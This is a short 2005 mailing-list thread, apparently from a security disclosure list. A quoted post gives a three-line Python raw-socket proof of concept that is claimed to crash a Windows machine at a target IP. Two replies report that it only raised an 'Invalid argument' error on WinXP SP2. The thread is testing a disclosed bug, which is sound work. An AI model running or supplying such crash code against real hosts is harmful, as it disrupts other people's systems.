> On Tue, Mar 22, 2005 at 12:21:18PM -0000, liquid@xxxxxxxxxxxxxx
wrote:
> > Start Python and type (of course x.x.x.x should be replaced with
> > IP address):
> >
> > import socket
> > s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4)
> > s.sendto("",("x.x.x.x",0))
> >
> > Press ENTER and your win box should crash immediately.
>
> I tested this on WinXP SP2 with Python 2.4. The result is an
> exception:
>
> socket.error: (10022, 'Invalid argument')
>
> I don't have Python 2.3 installed otherwise I would test that too.
>
> Neil
>
i got the same exception, WinXP SP2, Python 2.3.4 .
azurIt
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